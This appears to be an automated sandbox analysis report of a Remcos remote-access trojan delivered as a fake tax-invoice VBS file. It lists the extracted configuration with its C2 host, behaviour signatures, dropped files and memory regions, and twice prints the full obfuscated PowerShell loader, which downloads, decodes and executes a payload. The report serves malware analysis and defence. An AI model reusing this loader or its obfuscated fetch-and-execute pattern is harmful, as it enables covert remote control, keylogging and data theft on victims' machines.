Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2024 07:57

General

  • Target

    NTS_eTaxInvoice.html.vbs

  • Size

    82KB

  • MD5

    a1aeb49d80b16158b4b88efef30be753

  • SHA1

    a7829f01f6a679b9016c1b192431a317827045b1

  • SHA256

    adae16c4fe643a3093a6e2ac5329616ccc62d71725f208203869d90f08b3c6d1

  • SHA512

    a15fcfb783b0c8225478f3015a704370f794a59a827e48d32bf537ca27a8cb2a30922278b65475b52f3f0990a5c6d38fca281cf3b3ac44eef92bea1d0811f5a3

  • SSDEEP

    1536:s+aCJtE0IliA2cngEAwsi0+lyOFY+UoArilnO7Mu5FYLf:s+aCrpADnWklyOZUoJlnsQLf

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

a458386d9.duckdns.org:3256

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • delete_file

    false

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-WDQFG0

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NTS_eTaxInvoice.html.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Permit Billeted Livserfarent Magmatism #>;$Homologue='ensorrow';<#prossie Udryddelseslejrenes Interjectionalized jobannoncer Anstillelser Sdmefuldes Bakkeen #>;$Sledgehammered=$host.PrivateData;If ($Sledgehammered) {$Genanvendelser++;}function Demissioner($Unlaconic){$Conversations=$Unengaging+$Unlaconic.Length-$Genanvendelser;for( $Kanaljen=5;$Kanaljen -lt $Conversations;$Kanaljen+=6){$Cochleous+=$Unlaconic[$Kanaljen];}$Cochleous;}function Complimentable($centronucleus){ . ($Garanti) ($centronucleus);}$Convectively=Demissioner 'AdherMPinoco.ivinzDesiligene lRed,vlR.rria Limo/Mic.o5Efter.E oti0.itdo Phram(OdiniWPrvebiSyndin BrebdHid eo AdvewFlgeps Po s PaceN ialTSkygg Kursu1Mis a0Indle. Gstg0Super;Pr,va Asep WIndk,iHalvpn enat6Still4Anabl; Peri BlaanxOppeb6Smukt4Count;Filtr CuretrBasi vBedoe:Drypf1Flo e2Mando1Soran.Tipol0baggr)Spotm angstGPho.oekongec.eigekN,wfooR all/Tria 2Svmme0Sgeko1Telem0D ool0 Babe1rdk k0Marki1Recir B.jekFKaleniTrl grhypopeRehabfSkimtoOpht.x ffec/Ch om1Rund,2 Scut1 Ytre.Ripen0Undlb ';$Saccharofarinaceous=Demissioner ' PostUTek oSKanteESk ivRVan e-RiffiAMultigWeeklEmel oNIdiorT Pr.t ';$Dermoid108=Demissioner 'TzolkhWynketIndflt Ga.gpP.rsosForga:Secti/abern/FemdodHospir StariMoilsvKakkee Chup.DelafgDeflooRedero,endrg MonolFugtieArkiv.MedvicA,eneoKo,mumObskn/ ailluHarroc Ince?Mo emeErgasx LivspInobto Pu rr valetDruek= forsdFortroMatriwCon entillylGnat,oAngreaSo madgldsf&.uskeiParamdBacil= Nive1Pilloa fficJAnticrKapil3FremmEPrimrNKor,oUH,perZPa.acI BoucKFeatuKSkytsZnanziBTeks mHaircNSvineb AflgdFoame6Menedi MutaoSols.0 gtpbarr sC acco5DekupvSendesAlderIImmunIJazzo6KommuaOve.vL.aike1Antit ';$Henrykkelser=Demissioner ' Und.>Ga.um ';$Garanti=Demissioner 'uns.dIBespiEUne hXNdend ';$Funktionens98='Zizit';$Klemskrue67='\Forsvarsundtagelsen.Non';Complimentable (Demissioner 'S,udv$pottegNonmulSkifeo kloebPolitaTer,ilph.ll:ForbrTSubpraEuphok VatttAlterrKommueUdr ag acuuBrn plPaahneDefinrStigmiHalssnD.langUn omsF rgro rrisrWar,odSolbanNeglei HjdenAgramgTilkr=Antik$Mutile Udfln FendvNonfa:blatta Frikp Klasp tetidGnat.aSkoletmonu aIndja+ Srej$SekssKColeglBetake C vimBe.risPiruekInd ur BekmuBambue erni6Hemap7 Asp, ');Complimentable (Demissioner ' Prmi$Q ibbgStenklFiletoI desbChambaUnderl Spec: ardRnonmoeLycopk rhebr ProleSkov eHazelr SatreIndbodSnoreenyh dsTungs= Eco,$ HjemD UdlaeStro rCologmIndsaoSampli Mimod ko,m1 loat0Affat8Refor.Bedris E prpJ.gtrlDehemi etabtSabia(Arbej$Uko lHHo edeAl,arnStok.r ,andy olvkUngp kunleae WiktlSub osBemalePrak rSlopl) Mold ');Complimentable (Demissioner 'Nedri[L.uwiNStatieAntictAqu n.FaintSAris,eSuccor BunkvSegm iSubimcMisdeeSkrivPSiffro arveiUnplunP,rtntForvrM aligaBed mndemisa,laasg,arneePregnrGeote]Meggy: Fors: NeutSD sjueProvocGanesuEncryrGuaiai ProltJou nyExcepPTankbrUdenooHu kat HymnoSummecTil aoForbrlPhen Garn=Under Dic,[ Es.iN Di peLn svtFrems. MispSca lieTitilc UdsuuTyk erNonneiColletalteryUd,ytPDegrarAnlgsoTilintdefiboP ogrcK.essoDet,clG lfdTWei hyIndh pObjeke.ebuk]Ordd,:Hjest:SubaqTBaglylGelatsRubin1 B,oa2Nerei ');$Dermoid108=$Rekreeredes[0];$Aalb=(Demissioner 'Hellm$ nbegg odralDentioLnsitbDrumrABlindl Picc:CommoMUdsena inden,etrauBoardSV,riae pndeRPteleSZo ch=Syntan BeeseAnatfW Knap-Tang oFremsbE samJLukkeERipplc Utalt Sema RadioS omsYFin,eS CajutGar iET,talm Klum.OsmetNF rskemol atRamni.AeridWClienEGiantB akeeCFnaddl afiriS aineCountNIndgrT urve ');Complimentable ($Aalb);Complimentable (Demissioner 'Unm n$ AandMAprjtaDiscon.igmouRos vsSurgeepolycrKl nisSpi l.NatioH PeaseKolibaProjed imike.lestr ochls Gulp[ semi$ami,aSBesluaMendicY erpcDe,eah.ammea HuserHaymiosuperfInferaParaprSuperi OplinC,priaCigarcSnavseBehagoBa liuCl,nksSalut]S veb=San t$ harCP eroo Fingn Oplav JudaeTaxabcAf ket Laici IntivTonetelactol taily acci ');$Bortkaldenes=Demissioner ' Run $KugleM evea SchonSubtruA tens edbeNoctirV.nstsEremi.UdsorDegenpowheatwToldanDescrlPilotoIsltpaSe.undTeor FSh rpiHajerl.ndlie rais(Sk ll$progrDHypoaeA wesr Ichtm RedioSlgegiBuddhdStor 1Pro u0 Komi8 For ,Supin$KloroTTripii spanl an asSamm.tA likaDisbunFortidSympts AntikL.mfaoCheunn.halat Sew.r Fas,o F,rsl SennlForlaeTabernForsk)Early ';$Tilstandskontrollen=$Taktreguleringsordning;Complimentable (Demissioner ' St.a$SagsbgHeterLLin,aOOverlB Ac,tA MonuLFork :RaaensIps,lEaburacCha,uE.amboS Svi,hYtt oeAu okrHyoep= Khar(SlabutReconedialesS rjtTAccen- SlenPMins A,njurtBuskvHDemor syla$H.nritStil.i DiviL Sel SImpasT orbeAFamleNLa,tidOsteesSlittK CyphO Dec nTilflTColorrFlde oPushelDangllAposteKont Nmetag)Mith ');while (!$Secesher) {Complimentable (Demissioner 'Besho$W ankgToolmlIndenoDingibStjmaa PosslKrmme: BldgLMappegUr.tie skvamS xoliSteepdGadenlUncateLal erDiagrsArbej=S.nka$ReduptReletrPreteuKe.neeRredd ') ;Complimentable $Bortkaldenes;Complimentable (Demissioner 'PositS ConstBaandaA ronrPlummtmax l-RadicSRebuclH,tideNondaeF.odepF rbi Parag4Perki ');Complimentable (Demissioner 'Vates$CentegtokonlT gneoMartibIndkbaRededlC lla:RegniSSt,ike UdskcSmidieForhasHarboh undeeExpatrRetou= Remu(,luviTKonsteRedidsHypert E.ns-FodtuPSpinaaAfgiftAutomhUnwil Skel $ouchiTFedtei Ko.llSoillsLselatGe iraHolden UdbldForsesP lotkFo nuo ba ln Eks t HjerrLarkio RentlKvajplIn uleSpec nF rtl)Age s ') ;Complimentable (Demissioner 'Unvex$UnweagDis elemissoSemipbb odtaSvinglPostd:ThousNMick yDgl nsPlombeMacra= Re r$ Sno.gGrumblUnevao LeucbPartiaRe.mplP ras:C lfoS HalvtlivssmSelvraKo,ypgAarsktLittleChambrDansknPart,e Fr.p+Frems+Balde% luor$OspheRPiggieind rkArecarS bbre For.e.ersurFolloeAmberd usmoeNonres Tndi.ShoemcRew,ro MultuQua,en m,krtFi,eo ') ;$Dermoid108=$Rekreeredes[$Nyse];}$hanerne=327149;$Whitewashes=31726;Complimentable (Demissioner 'Godke$ Mudrg ChanlSklveoAgorabI posaKontalKathi: ArmvTNicksyHel.as BrilkSu syl Cas aRedamn Po gdtorqusexophk BranoHurtirDiapatTovreemalacnKo keeVandf Rente=K,ydr UnmaGOgcoce KonttTelea-v yagC Preeo PennnMur etTrumbeAntipnBour tBog.r .well$S iseTHjtidiKo salBrdtesParcet SkaraMeta nAl ebd innosImprekGymnaounfe.nStanstSomatra,itho GenmlSereal D,caePbelanpentr ');Complimentable (Demissioner 'Helio$fontegRuskvlEul goTr,ldbShmooaAboitlA ive:SkmteAL vitfDataovBridaiunshrsTi,skeLedersUrocy F rgl=Strit Kna,e[D mkiSBjensyElaeosDecrot K,ype B.gsm Defi.An.itCPlejeoRi.honIntervSminkeMet,lrFejlktFrken]Barbo:Symph:BobslFsygepr InduoSkummmUnel BChr saAltersA.reme.asel6Vej n4PresuS anectGli.trNutidicho en Halvg We d(.nder$Nonc T LgdeyT.igosPeltikZoonulTheataResu,nAlarmd DeodsStrudkUforkobasisrDisset UforeM,tronLu,eaeIncon)Blunt ');Complimentable (Demissioner ',iern$UdbldgAf nnl zygoo BespbLave,ashal.lstrue:Pe sohKlbenyRevispTranse Profr LumidMispoeOrdk.l PrstiMallec Grapas.gnecTankeyHausf Bo sa=Garr, Plan[VarmeSandenyAnthrsCherrtS ovbe ChesmBulkl.P.ojeTBalloeT iloxGavltt Rh.x.Wi dbEFermenfljtecAabenom.rryd mneiPodopnDodecg,kole]Sidew:Carbi:UnwebA s apSNieceCDilatIUngtjIStorm.UdfreGDogmaeSyntatSuli.SGla.ftMondorEmbaciSegganApertgRommy(Fruit$ DemoA Car,fSpectvKommuiMicrosForeseAr.easNedto)Be.ud ');Complimentable (Demissioner 'U.ere$ Afskg AvlslUnmanoK rtebElandaClanslPha,t:Poly,EBullisStigmt brikhEx rieBalanshaeani Vej,oVilk,gAnnlirA.equa D gep AfbahAptycyAgerb=Arbit$ KanehLeucoy Loo pEuroceRawbor BuksdCryste vehilMargiiBrnebcunentaMomencDafniyMac.o. eners Fuldu ankebStar sIchortTek tr Solsi ,rcin eohygForby(Elect$CensohTor kaShadfnScapheSlatirBriefnZ,dkueMisap,Mine,$StortWK lethSt rei HachtinteleBlindw InteaStyrbs F,erhBilggeAarsis Stud)Eng n ');Complimentable $Esthesiography;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1756
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Permit Billeted Livserfarent Magmatism #>;$Homologue='ensorrow';<#prossie Udryddelseslejrenes Interjectionalized jobannoncer Anstillelser Sdmefuldes Bakkeen #>;$Sledgehammered=$host.PrivateData;If ($Sledgehammered) {$Genanvendelser++;}function Demissioner($Unlaconic){$Conversations=$Unengaging+$Unlaconic.Length-$Genanvendelser;for( $Kanaljen=5;$Kanaljen -lt $Conversations;$Kanaljen+=6){$Cochleous+=$Unlaconic[$Kanaljen];}$Cochleous;}function Complimentable($centronucleus){ . ($Garanti) ($centronucleus);}$Convectively=Demissioner 'AdherMPinoco.ivinzDesiligene lRed,vlR.rria Limo/Mic.o5Efter.E oti0.itdo Phram(OdiniWPrvebiSyndin BrebdHid eo AdvewFlgeps Po s PaceN ialTSkygg Kursu1Mis a0Indle. Gstg0Super;Pr,va Asep WIndk,iHalvpn enat6Still4Anabl; Peri BlaanxOppeb6Smukt4Count;Filtr CuretrBasi vBedoe:Drypf1Flo e2Mando1Soran.Tipol0baggr)Spotm angstGPho.oekongec.eigekN,wfooR all/Tria 2Svmme0Sgeko1Telem0D ool0 Babe1rdk k0Marki1Recir B.jekFKaleniTrl grhypopeRehabfSkimtoOpht.x ffec/Ch om1Rund,2 Scut1 Ytre.Ripen0Undlb ';$Saccharofarinaceous=Demissioner ' PostUTek oSKanteESk ivRVan e-RiffiAMultigWeeklEmel oNIdiorT Pr.t ';$Dermoid108=Demissioner 'TzolkhWynketIndflt Ga.gpP.rsosForga:Secti/abern/FemdodHospir StariMoilsvKakkee Chup.DelafgDeflooRedero,endrg MonolFugtieArkiv.MedvicA,eneoKo,mumObskn/ ailluHarroc Ince?Mo emeErgasx LivspInobto Pu rr valetDruek= forsdFortroMatriwCon entillylGnat,oAngreaSo madgldsf&.uskeiParamdBacil= Nive1Pilloa fficJAnticrKapil3FremmEPrimrNKor,oUH,perZPa.acI BoucKFeatuKSkytsZnanziBTeks mHaircNSvineb AflgdFoame6Menedi MutaoSols.0 gtpbarr sC acco5DekupvSendesAlderIImmunIJazzo6KommuaOve.vL.aike1Antit ';$Henrykkelser=Demissioner ' Und.>Ga.um ';$Garanti=Demissioner 'uns.dIBespiEUne hXNdend ';$Funktionens98='Zizit';$Klemskrue67='\Forsvarsundtagelsen.Non';Complimentable (Demissioner 'S,udv$pottegNonmulSkifeo kloebPolitaTer,ilph.ll:ForbrTSubpraEuphok VatttAlterrKommueUdr ag acuuBrn plPaahneDefinrStigmiHalssnD.langUn omsF rgro rrisrWar,odSolbanNeglei HjdenAgramgTilkr=Antik$Mutile Udfln FendvNonfa:blatta Frikp Klasp tetidGnat.aSkoletmonu aIndja+ Srej$SekssKColeglBetake C vimBe.risPiruekInd ur BekmuBambue erni6Hemap7 Asp, ');Complimentable (Demissioner ' Prmi$Q ibbgStenklFiletoI desbChambaUnderl Spec: ardRnonmoeLycopk rhebr ProleSkov eHazelr SatreIndbodSnoreenyh dsTungs= Eco,$ HjemD UdlaeStro rCologmIndsaoSampli Mimod ko,m1 loat0Affat8Refor.Bedris E prpJ.gtrlDehemi etabtSabia(Arbej$Uko lHHo edeAl,arnStok.r ,andy olvkUngp kunleae WiktlSub osBemalePrak rSlopl) Mold ');Complimentable (Demissioner 'Nedri[L.uwiNStatieAntictAqu n.FaintSAris,eSuccor BunkvSegm iSubimcMisdeeSkrivPSiffro arveiUnplunP,rtntForvrM aligaBed mndemisa,laasg,arneePregnrGeote]Meggy: Fors: NeutSD sjueProvocGanesuEncryrGuaiai ProltJou nyExcepPTankbrUdenooHu kat HymnoSummecTil aoForbrlPhen Garn=Under Dic,[ Es.iN Di peLn svtFrems. MispSca lieTitilc UdsuuTyk erNonneiColletalteryUd,ytPDegrarAnlgsoTilintdefiboP ogrcK.essoDet,clG lfdTWei hyIndh pObjeke.ebuk]Ordd,:Hjest:SubaqTBaglylGelatsRubin1 B,oa2Nerei ');$Dermoid108=$Rekreeredes[0];$Aalb=(Demissioner 'Hellm$ nbegg odralDentioLnsitbDrumrABlindl Picc:CommoMUdsena inden,etrauBoardSV,riae pndeRPteleSZo ch=Syntan BeeseAnatfW Knap-Tang oFremsbE samJLukkeERipplc Utalt Sema RadioS omsYFin,eS CajutGar iET,talm Klum.OsmetNF rskemol atRamni.AeridWClienEGiantB akeeCFnaddl afiriS aineCountNIndgrT urve ');Complimentable ($Aalb);Complimentable (Demissioner 'Unm n$ AandMAprjtaDiscon.igmouRos vsSurgeepolycrKl nisSpi l.NatioH PeaseKolibaProjed imike.lestr ochls Gulp[ semi$ami,aSBesluaMendicY erpcDe,eah.ammea HuserHaymiosuperfInferaParaprSuperi OplinC,priaCigarcSnavseBehagoBa liuCl,nksSalut]S veb=San t$ harCP eroo Fingn Oplav JudaeTaxabcAf ket Laici IntivTonetelactol taily acci ');$Bortkaldenes=Demissioner ' Run $KugleM evea SchonSubtruA tens edbeNoctirV.nstsEremi.UdsorDegenpowheatwToldanDescrlPilotoIsltpaSe.undTeor FSh rpiHajerl.ndlie rais(Sk ll$progrDHypoaeA wesr Ichtm RedioSlgegiBuddhdStor 1Pro u0 Komi8 For ,Supin$KloroTTripii spanl an asSamm.tA likaDisbunFortidSympts AntikL.mfaoCheunn.halat Sew.r Fas,o F,rsl SennlForlaeTabernForsk)Early ';$Tilstandskontrollen=$Taktreguleringsordning;Complimentable (Demissioner ' St.a$SagsbgHeterLLin,aOOverlB Ac,tA MonuLFork :RaaensIps,lEaburacCha,uE.amboS Svi,hYtt oeAu okrHyoep= Khar(SlabutReconedialesS rjtTAccen- SlenPMins A,njurtBuskvHDemor syla$H.nritStil.i DiviL Sel SImpasT orbeAFamleNLa,tidOsteesSlittK CyphO Dec nTilflTColorrFlde oPushelDangllAposteKont Nmetag)Mith ');while (!$Secesher) {Complimentable (Demissioner 'Besho$W ankgToolmlIndenoDingibStjmaa PosslKrmme: BldgLMappegUr.tie skvamS xoliSteepdGadenlUncateLal erDiagrsArbej=S.nka$ReduptReletrPreteuKe.neeRredd ') ;Complimentable $Bortkaldenes;Complimentable (Demissioner 'PositS ConstBaandaA ronrPlummtmax l-RadicSRebuclH,tideNondaeF.odepF rbi Parag4Perki ');Complimentable (Demissioner 'Vates$CentegtokonlT gneoMartibIndkbaRededlC lla:RegniSSt,ike UdskcSmidieForhasHarboh undeeExpatrRetou= Remu(,luviTKonsteRedidsHypert E.ns-FodtuPSpinaaAfgiftAutomhUnwil Skel $ouchiTFedtei Ko.llSoillsLselatGe iraHolden UdbldForsesP lotkFo nuo ba ln Eks t HjerrLarkio RentlKvajplIn uleSpec nF rtl)Age s ') ;Complimentable (Demissioner 'Unvex$UnweagDis elemissoSemipbb odtaSvinglPostd:ThousNMick yDgl nsPlombeMacra= Re r$ Sno.gGrumblUnevao LeucbPartiaRe.mplP ras:C lfoS HalvtlivssmSelvraKo,ypgAarsktLittleChambrDansknPart,e Fr.p+Frems+Balde% luor$OspheRPiggieind rkArecarS bbre For.e.ersurFolloeAmberd usmoeNonres Tndi.ShoemcRew,ro MultuQua,en m,krtFi,eo ') ;$Dermoid108=$Rekreeredes[$Nyse];}$hanerne=327149;$Whitewashes=31726;Complimentable (Demissioner 'Godke$ Mudrg ChanlSklveoAgorabI posaKontalKathi: ArmvTNicksyHel.as BrilkSu syl Cas aRedamn Po gdtorqusexophk BranoHurtirDiapatTovreemalacnKo keeVandf Rente=K,ydr UnmaGOgcoce KonttTelea-v yagC Preeo PennnMur etTrumbeAntipnBour tBog.r .well$S iseTHjtidiKo salBrdtesParcet SkaraMeta nAl ebd innosImprekGymnaounfe.nStanstSomatra,itho GenmlSereal D,caePbelanpentr ');Complimentable (Demissioner 'Helio$fontegRuskvlEul goTr,ldbShmooaAboitlA ive:SkmteAL vitfDataovBridaiunshrsTi,skeLedersUrocy F rgl=Strit Kna,e[D mkiSBjensyElaeosDecrot K,ype B.gsm Defi.An.itCPlejeoRi.honIntervSminkeMet,lrFejlktFrken]Barbo:Symph:BobslFsygepr InduoSkummmUnel BChr saAltersA.reme.asel6Vej n4PresuS anectGli.trNutidicho en Halvg We d(.nder$Nonc T LgdeyT.igosPeltikZoonulTheataResu,nAlarmd DeodsStrudkUforkobasisrDisset UforeM,tronLu,eaeIncon)Blunt ');Complimentable (Demissioner ',iern$UdbldgAf nnl zygoo BespbLave,ashal.lstrue:Pe sohKlbenyRevispTranse Profr LumidMispoeOrdk.l PrstiMallec Grapas.gnecTankeyHausf Bo sa=Garr, Plan[VarmeSandenyAnthrsCherrtS ovbe ChesmBulkl.P.ojeTBalloeT iloxGavltt Rh.x.Wi dbEFermenfljtecAabenom.rryd mneiPodopnDodecg,kole]Sidew:Carbi:UnwebA s apSNieceCDilatIUngtjIStorm.UdfreGDogmaeSyntatSuli.SGla.ftMondorEmbaciSegganApertgRommy(Fruit$ DemoA Car,fSpectvKommuiMicrosForeseAr.easNedto)Be.ud ');Complimentable (Demissioner 'U.ere$ Afskg AvlslUnmanoK rtebElandaClanslPha,t:Poly,EBullisStigmt brikhEx rieBalanshaeani Vej,oVilk,gAnnlirA.equa D gep AfbahAptycyAgerb=Arbit$ KanehLeucoy Loo pEuroceRawbor BuksdCryste vehilMargiiBrnebcunentaMomencDafniyMac.o. eners Fuldu ankebStar sIchortTek tr Solsi ,rcin eohygForby(Elect$CensohTor kaShadfnScapheSlatirBriefnZ,dkueMisap,Mine,$StortWK lethSt rei HachtinteleBlindw InteaStyrbs F,erhBilggeAarsis Stud)Eng n ');Complimentable $Esthesiography;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3700
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\syswow64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      PID:1380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    c14a20b14aa9b0fb74631576b39f2c3d

    SHA1

    5a13e5299e36b29c237518f50c6e6c3cadee6691

    SHA256

    4f39df2d5fa7dd774fa840ad66f18f4585a615f1393514934ff0a033af5dfaa2

    SHA512

    46cc691af5afe581ef5349af11286bcf883737a5b26648d61940bac35d21934abc510ae74d3ab8240d17044f778a6d9da5ea8f07fec04e954d26738b976e50e7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    2d74f3420d97c3324b6032942f3a9fa7

    SHA1

    95af9f165ffc370c5d654a39d959a8c4231122b9

    SHA256

    8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

    SHA512

    3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_urvrspzq.bko.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Forsvarsundtagelsen.Non

    Filesize

    467KB

    MD5

    0f0c12d345508d8f65c3a877c4e3e3ec

    SHA1

    502f251aa8f322f6f7188c83893f1b3bc2e38676

    SHA256

    718b2422aa646cf870c7bf057a9b5d753cb2c6c12ee94c1246b425c9eb61bd5b

    SHA512

    b9b0e97e5a88d0b46913e2f9771cc248727f8cd52b3d7d53679212dcfc6362e3c4b52a5c48ec7babd813ba44bb3ca81c4497d675be6172112e97083784f247bc

  • memory/1380-61-0x0000000000C00000-0x0000000001E54000-memory.dmp

    Filesize

    18.3MB

  • memory/1756-16-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-15-0x00007FFA830C3000-0x00007FFA830C5000-memory.dmp

    Filesize

    8KB

  • memory/1756-17-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-18-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-19-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-22-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-12-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-11-0x00007FFA830C0000-0x00007FFA83B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-1-0x000001F9A75B0000-0x000001F9A75D2000-memory.dmp

    Filesize

    136KB

  • memory/1756-0-0x00007FFA830C3000-0x00007FFA830C5000-memory.dmp

    Filesize

    8KB

  • memory/3700-26-0x0000000004F90000-0x0000000004FF6000-memory.dmp

    Filesize

    408KB

  • memory/3700-37-0x0000000005830000-0x0000000005B84000-memory.dmp

    Filesize

    3.3MB

  • memory/3700-27-0x0000000005070000-0x00000000050D6000-memory.dmp

    Filesize

    408KB

  • memory/3700-39-0x0000000005DC0000-0x0000000005DDE000-memory.dmp

    Filesize

    120KB

  • memory/3700-40-0x0000000005E00000-0x0000000005E4C000-memory.dmp

    Filesize

    304KB

  • memory/3700-41-0x0000000007610000-0x0000000007C8A000-memory.dmp

    Filesize

    6.5MB

  • memory/3700-42-0x0000000006370000-0x000000000638A000-memory.dmp

    Filesize

    104KB

  • memory/3700-43-0x0000000007030000-0x00000000070C6000-memory.dmp

    Filesize

    600KB

  • memory/3700-44-0x0000000006FD0000-0x0000000006FF2000-memory.dmp

    Filesize

    136KB

  • memory/3700-45-0x0000000008240000-0x00000000087E4000-memory.dmp

    Filesize

    5.6MB

  • memory/3700-25-0x0000000004EF0000-0x0000000004F12000-memory.dmp

    Filesize

    136KB

  • memory/3700-47-0x00000000087F0000-0x000000000AEA0000-memory.dmp

    Filesize

    38.7MB

  • memory/3700-24-0x0000000005200000-0x0000000005828000-memory.dmp

    Filesize

    6.2MB

  • memory/3700-23-0x0000000002480000-0x00000000024B6000-memory.dmp

    Filesize

    216KB